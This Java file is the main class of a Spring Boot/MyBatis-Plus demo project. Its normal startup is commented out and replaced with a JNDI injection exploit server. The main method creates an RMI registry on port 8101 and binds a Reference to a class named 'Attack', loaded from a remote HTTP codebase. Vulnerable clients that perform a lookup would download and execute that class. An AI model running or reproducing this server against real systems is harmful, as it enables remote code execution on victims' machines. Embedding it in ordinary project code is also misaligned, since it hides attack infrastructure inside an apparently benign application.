package com.xkh.plus;

import cn.hutool.Hutool;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import lombok.extern.slf4j.Slf4j;
import org.mybatis.spring.annotation.MapperScan;
import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.SpringBootApplication;
import springfox.documentation.swagger2.annotations.EnableSwagger2;

import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

/**
 * @author xkh
 * 2020/9/15
 */
@SpringBootApplication
@EnableSwagger2
@MapperScan("com.xkh.plus.mapper")
@Slf4j
public class MybatisPlusApplication {

    public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
        Registry registry = LocateRegistry.createRegistry(8101);

        Reference reference = new Reference("Attack","Attack","http://127.0.0.1:80/");

        ReferenceWrapper wrapper = new ReferenceWrapper(reference);

        registry.bind("obj",wrapper);

        System.out.println("server is running");
//        SpringApplication.run(MybatisPlusApplication.class, args);
        log.info("========================MybatisPlusApplication启动完毕========================");
    }
}
